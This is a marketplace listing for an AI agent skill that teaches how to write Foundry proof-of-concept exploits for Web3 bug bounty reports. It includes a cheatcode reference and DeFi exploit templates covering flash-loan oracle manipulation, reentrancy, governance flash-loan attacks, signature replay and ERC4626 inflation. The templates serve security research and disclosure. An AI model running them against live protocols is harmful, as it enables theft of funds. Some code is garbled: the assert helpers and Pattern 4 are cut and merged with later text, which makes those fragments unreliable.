AgentStack
SKILL verified MIT Self-run

Web3 Poc Foundry

skill-shuvonsec-web3-bug-bounty-hunting-ai-skills-web3-poc-foundry · by shuvonsec

Complete Foundry PoC writing guide + all cheatcodes + DeFiHackLabs reproduction patterns. Use this when building a proof of concept exploit, setting up a fork test, using Foundry cheatcodes, or reproducing a known DeFi hack for learning.

No reviews yet
0 installs
17 views
0.0% view→install

Install

$ agentstack add skill-shuvonsec-web3-bug-bounty-hunting-ai-skills-web3-poc-foundry

✓ scanned · ✓ verified — works with Claude Code, Cursor, and more.

Security review

✓ Passed

No issues found. Passed automated security review. · v0.1.0 How review works →

  • Prompt-injection patterns
  • Secret / credential exfiltration
  • Dangerous shell & filesystem operations
  • Untrusted network calls
  • Known-malicious package signatures

What it can access

  • Network access No
  • Filesystem access No
  • Shell / process execution No
  • Environment & secrets Used
  • Dynamic code execution No

From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.

Are you the author of Web3 Poc Foundry? Claim this listing to set pricing, connect Stripe payouts, and keep 70% of every sale.
Sign up to claim

About

PoC WRITING + FOUNDRY COMPLETE REFERENCE

Immunefi requires RUNNABLE code. Not pseudocode. Not steps. Running Foundry tests with before/after logs and a passing assert.


QUICK START

# Immunefi official templates (preferred for submissions)
forge init my-poc --template immunefi-team/forge-poc-templates --branch default
forge init my-poc --template immunefi-team/forge-poc-templates --branch reentrancy
forge init my-poc --template immunefi-team/forge-poc-templates --branch flash_loan
forge init my-poc --template immunefi-team/forge-poc-templates --branch price_manipulation

# Or blank Foundry project
forge init my-poc
cd my-poc

# Setup .env
echo "MAINNET_RPC_URL=https://eth.llamarpc.com" > .env
echo "BASE_RPC_URL=https://base.llamarpc.com" >> .env
echo "ARB_RPC_URL=https://arb1.arbitrum.io/rpc" >> .env

# Run exploit
source .env
forge test --match-test testExploit -vvvv --fork-url $MAINNET_RPC_URL

STANDARD PoC TEMPLATE (Production Quality for Immunefi)

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title [Protocol Name] - [Bug Description]
 * @notice PoC for Immunefi submission
 * @dev Demonstrates [impact] by exploiting [root cause]
 *
 * Vulnerable contract: [address] ([name])
 * Vulnerable function: [functionName]
 * Immunefi program: [URL]
 * Severity: [Critical/High/Medium/Low]
 */

// Minimal interfaces — only what you need
interface IVulnProtocol {
    function deposit(uint256 amount) external;
    function withdraw(uint256 amount) external;
    function balanceOf(address) external view returns (uint256);
}

interface IERC20 {
    function approve(address, uint256) external returns (bool);
    function balanceOf(address) external view returns (uint256);
    function transfer(address, uint256) external returns (bool);
    function transferFrom(address, address, uint256) external returns (bool);
}

contract ExploitPoC is Test {
    // ============================================================
    // CONFIGURATION
    // ============================================================
    uint256 constant ATTACK_BLOCK = 18_000_000;  // pin block for reproducibility

    address constant VULN_CONTRACT = 0x...;
    address constant TOKEN = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; // USDC

    IVulnProtocol vuln = IVulnProtocol(VULN_CONTRACT);
    IERC20 token = IERC20(TOKEN);

    // ============================================================
    // SETUP
    // ============================================================
    function setUp() public {
        vm.createSelectFork(vm.envString("MAINNET_RPC_URL"), ATTACK_BLOCK);
        vm.label(VULN_CONTRACT, "VulnerableProtocol");
        vm.label(TOKEN, "USDC");
        vm.label(address(this), "Attacker");
    }

    // ============================================================
    // EXPLOIT
    // ============================================================
    function testExploit() public {
        uint256 attackerBefore = token.balanceOf(address(this));
        uint256 protocolBefore = token.balanceOf(VULN_CONTRACT);

        console.log("=== INITIAL STATE ===");
        console.log("Attacker USDC:  ", attackerBefore);
        console.log("Protocol USDC:  ", protocolBefore);
        console.log("--------------------");

        // Step 1: [description]
        deal(TOKEN, address(this), 1e6);  // 1 USDC starting capital

        // Step 2: [description]
        token.approve(VULN_CONTRACT, type(uint256).max);
        vuln.deposit(1e6);

        // Step 3: [the exploit]
        // ... exploit logic ...

        uint256 attackerAfter = token.balanceOf(address(this));
        uint256 protocolAfter = token.balanceOf(VULN_CONTRACT);

        console.log("=== FINAL STATE ===");
        console.log("Attacker USDC:  ", attackerAfter);
        console.log("Protocol USDC:  ", protocolAfter);
        console.log("Profit:         ", attackerAfter - attackerBefore);
        console.log("Protocol loss:  ", protocolBefore - protocolAfter);

        assertGt(attackerAfter, attackerBefore, "Exploit failed: no profit");
    }
}

What a Passing PoC Output Looks Like

Running 1 test for test/Exploit.t.sol:ExploitPoC
[PASS] testExploit() (gas: 1234567)
Logs:
  === INITIAL STATE ===
  Attacker USDC:   100000
  Protocol USDC:   5000000
  --------------------
  === FINAL STATE ===
  Attacker USDC:   600000
  Protocol USDC:   4500000
  Profit:          500000
  Protocol loss:   500000

Test result: ok. 1 passed; 0 failed

The before/after numbers ARE your proof. Paste this output directly into the Immunefi report.


ESSENTIAL CHEATCODES — FULL REFERENCE

Identity / Caller Control

vm.prank(address who);
// Next single call is from `who`
// vm.prank(owner); target.setAdmin(attacker);

vm.startPrank(address who);
vm.stopPrank();
// ALL calls between start/stop are from `who`

vm.startPrank(address msgSender, address txOrigin);
// Set both msg.sender AND tx.origin simultaneously

vm.assume(bool condition);
// Skip fuzz test case if condition is false

State Manipulation

vm.deal(address who, uint256 ethAmount);
// Give ETH to any address
// vm.deal(attacker, 10 ether);

deal(address token, address to, uint256 amount);
// Give ERC20 tokens — works with any verified contract
// deal(USDC, attacker, 1_000_000e6); — gives 1M USDC without a source

vm.store(address target, bytes32 slot, bytes32 value);
// Write directly to any storage slot

vm.load(address target, bytes32 slot) returns (bytes32);
// Read any storage slot directly

vm.warp(uint256 timestamp);
// Set block.timestamp
// vm.warp(block.timestamp + 24 hours);

vm.roll(uint256 blockNumber);
// Set block.number
// vm.roll(block.number + 1000);

vm.fee(uint256 basefee);
// Set block.basefee

vm.chainId(uint256 id);
// Set block.chainid (for cross-chain signature tests)

Fork Control

vm.createFork(string memory urlOrAlias) returns (uint256 forkId);
vm.createFork(string memory urlOrAlias, uint256 blockNumber) returns (uint256 forkId);
vm.createSelectFork(string memory urlOrAlias, uint256 blockNumber) returns (uint256 forkId);
// Creates AND selects the fork — use this one

vm.selectFork(uint256 forkId);
// Switch between forks (for cross-chain tests)

vm.activeFork() returns (uint256);
// Get current fork ID

// Cross-chain test pattern:
uint256 mainnetFork = vm.createFork(vm.envString("MAINNET_RPC_URL"), 18_000_000);
uint256 baseFork = vm.createFork(vm.envString("BASE_RPC_URL"), 5_000_000);
vm.selectFork(mainnetFork);
// do mainnet action
vm.selectFork(baseFork);
// do base action

Snapshot / Revert

uint256 snapshot = vm.snapshot();
// Save entire EVM state

vm.revertTo(uint256 snapshotId);
// Restore to saved state

// Pattern: test multiple attack paths from same starting state
uint256 snap = vm.snapshot();
// test path A
vm.revertTo(snap);
// test path B

Mocking

vm.mockCall(address callee, bytes calldata data, bytes calldata returnData);
// Make any call to callee with data return returnData

// Example: mock stale Chainlink price (4 hours ago)
vm.mockCall(
    PRICE_FEED,
    abi.encodeWithSelector(AggregatorV3Interface.latestRoundData.selector),
    abi.encode(uint80(1), int256(63000e8), uint256(0), block.timestamp - 4 hours, uint80(1))
);

vm.mockCallRevert(address callee, bytes calldata data, bytes calldata revertData);
// Make a call revert

vm.clearMockedCalls();
// Remove all mocks

Signature Helpers

(uint8 v, bytes32 r, bytes32 s) = vm.sign(uint256 privateKey, bytes32 digest);
// Sign a hash with a private key
// Usage:
bytes32 hash = keccak256(abi.encodePacked(
    "\x19\x01",
    DOMAIN_SEPARATOR,
    keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonce, deadline))
));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, hash);

vm.addr(uint256 privateKey) returns (address);
// Get address from private key
// uint256 key = 0xBEEF; address user = vm.addr(key);

// Generate named test address:
address attacker = makeAddr("attacker");  // deterministic, labeled

Expect Assertions

vm.expectRevert();
// Next call MUST revert (any reason)

vm.expectRevert(bytes4 errorSelector);
// Next call MUST revert with specific custom error selector

vm.expectRevert(bytes memory revertData);
// Next call MUST revert with specific data

vm.expectEmit(bool checkTopic1, bool checkTopic2, bool checkTopic3, bool checkData);
// Assert event is emitted — MUST precede the call
vm.expectEmit(true, true, false, true);
emit Transfer(from, to, amount);  // declare expected event
target.transferFrom(from, to, amount);  // then the actual call

vm.expectCall(address callee, bytes calldata data);
// Assert callee is called with data during next call

Labels (for Readable Traces)

vm.label(address addr, string memory name);
// Makes traces show "USDC" instead of "0xA0b86..."
// Always label in setUp():
vm.label(USDC, "USDC");
vm.label(TARGET, "VulnerableVault");
vm.label(attacker, "Attacker");

Assert Helpers

assertEq(a, b, "message");    // a == b
assertGt(a, b, "message");    // a > b
assertLt(a, b, "message");    // a = b
assertLe(a, b, "message");    // a > 160;

18 EXPLOIT PATTERN TEMPLATES (DeFiHackLabs)

Source: github.com/SunWeb3Sec/DeFiHackLabs — 681+ real hacks reproduced in Foundry.

Pattern 1: Price Oracle Manipulation

Root cause: Protocol reads getReserves() or slot0() — manipulable in same block via flash loan.

contract OracleManipulationExploit is Test {
    address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;

    function testExploit() public {
        address[] memory tokens = new address[](1);
        tokens[0] = WETH;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1000 ether;

        IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, "");
    }

    function receiveFlashLoan(
        address[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory
    ) external {
        // Step 1: Inflate pool price
        IUniswapV2Router(ROUTER).swapExactTokensForTokens(
            1000 ether, 0, path, address(this), block.timestamp
        );

        // Step 2: Exploit price-dependent function (borrow at inflated collateral value)
        ILendingProtocol(TARGET).borrow(TARGET_TOKEN, type(uint256).max);

        // Step 3: Deflate price (swap back)
        IUniswapV2Router(ROUTER).swapExactTokensForTokens(
            balance, 0, reversePath, address(this), block.timestamp
        );

        // Step 4: Repay flash loan
        IERC20(tokens[0]).transfer(BALANCER_VAULT, amounts[0]);
    }
}

Grep: getReserves()\|slot0()\|latestAnswer()


Pattern 2: Classic Reentrancy

Root cause: External call made before state update.

contract ReentrancyExploit {
    IVulnerable target;
    uint256 attackAmount = 1 ether;

    constructor(address _target) { target = IVulnerable(_target); }

    function attack() external payable {
        target.deposit{value: attackAmount}();
        target.withdraw(attackAmount);
    }

    receive() external payable {
        if (address(target).balance >= attackAmount) {
            target.withdraw(attackAmount);  // Re-enter during ETH transfer
        }
    }
}

// Foundry test:
function testReentrancy() public {
    ReentrancyExploit exploit = new ReentrancyExploit(TARGET);
    vm.deal(address(exploit), 1 ether);
    console.log("Protocol balance before:", TARGET.balance);
    exploit.attack();
    console.log("Protocol balance after:", TARGET.balance);
    assertEq(TARGET.balance, 0, "Drain failed");
}

Grep: \.call{value: without nonReentrant


Pattern 3: ERC721/ERC1155 Reentrancy (onReceived Hook)

Root cause: NFT transfer callbacks allow reentrancy — no payable fallback needed.

contract NFTReentrancyExploit {
    IVulnProtocol target;
    bool attacking;

    function attack() external {
        target.claimReward();  // Protocol sends NFT to us → triggers onERC721Received
    }

    function onERC721Received(
        address, address, uint256, bytes calldata
    ) external returns (bytes4) {
        if (!attacking) {
            attacking = true;
            target.claimReward();  // Re-enter before state updated
        }
        return this.onERC721Received.selector;
    }
}

Grep: onERC721Received\|onERC1155Received\|safeTransferFrom without nonReentrant


Pattern 4: Arithmetic Overflow/Underflow

Root cause: Unchecked math block, or Solidity 0) { attacking = true; target.transferFrom(from, address(this), amount); // re-enter before state updated } } }

**Grep:** ERC777-accepting protocols → check `nonReentrant` on all token-accepting functions

---

### Pattern 10: Flash Loan Governance Attack

**Root cause:** Governance votes counted at current token balance, not snapshot. Borrow → vote → repay.

```solidity
function testGovernanceFlashLoan() public {
    // Step 1: Flash borrow governance tokens
    // Step 2: Vote on malicious proposal (must be pre-created)
    IGovernance(TARGET).castVote(proposalId, 1);  // 100% YES with borrowed tokens
    // Step 3: Proposal passes
    // Step 4: Repay flash loan
    // Step 5: Execute malicious proposal (drain funds)

    // Key check: is there a snapshot at proposal creation?
    // getPastVotes(account, block.number - 1) → safe (can't flash attack)
    // balanceOf(account) at vote time → VULNERABLE
}

Grep: balanceOf\|getCurrentVotes vs getPastVotes\|getVotes(account, block) in voting logic


Pattern 11: Signature Replay / Missing Nonce

Root cause: Signed messages can be reused — no nonce, no expiry, or no chainId.

function testSignatureReplay() public {
    uint256 attackerKey = 0xBEEF;
    address attacker = vm.addr(attackerKey);

    bytes32 messageHash = keccak256(abi.encodePacked(
        attacker, uint256(100e6)
        // Missing: nonce, chainId, deadline
    ));
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(attackerKey, messageHash);
    bytes memory sig = abi.encodePacked(r, s, v);

    target.withdrawWithSignature(100e6, sig);  // use once
    target.withdrawWithSignature(100e6, sig);  // replay — BUG if succeeds
}

Grep: ecrecover\|ECDSA.recover → check for nonces[signer]++ and block.chainid


Pattern 12: ERC4626 First Depositor Inflation

Root cause: No virtual shares. First depositor inflates price per share to steal from victim.

function testFirstDepositorInflation() public {
    address victim = makeAddr("victim");
    deal(USDC, victim, 999_999e6);
    deal(USDC, address(this), 1 + 1_000_000e6);

    // Step 1: Attacker deposits 1 wei → gets 1 share
    IERC20(USDC).approve(TARGET, 1);
    target.deposit(1, address(this));
    console.log("Attacker shares:", target.balanceOf(address(this)));  // 1

    // Step 2: Donate 1M USDC directly → 1 share now = 1M USDC
    IERC20(USDC).transfer(TARGET, 1_000_000e6);

    // Step 3: Victim deposits ~1M USDC → rounds to 0 shares
    vm.startPrank(victim);
    IERC20(USDC).approve(TARGET, 999_999e6);
    target.deposit(999_999e6, victim);
    vm.stopPrank();
    console.log("Victim shares:", target.balanceOf(victim));  // 0 if vulnerable

    // Step 4: Attacker redeems → gets ~2M USDC
    target.redeem(1, address(this), address(this));
    assertGt(IERC20(USDC).balanceOf(address(this)), 1_500_000e6);
}

Defense to look for: _decimalsOffset() override, or totalAssets() + 1 in denominator.


Pattern 13: Flash Swap Callback Exploit (Uniswap V2/V3)

Root cause: Protocol's callback doesn't verify caller is the trusted pool.

contract FlashSw

…

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [shuvonsec](https://github.com/shuvonsec)
- **Source:** [shuvonsec/web3-bug-bounty-hunting-ai-skills](https://github.com/shuvonsec/web3-bug-bounty-hunting-ai-skills)
- **License:** MIT
- **Homepage:** https://awarexone.com/

Install and usage instructions live in the source repository linked above.

Reviews

No reviews yet — be the first.

Versions

  • v0.1.0 Imported from the upstream source.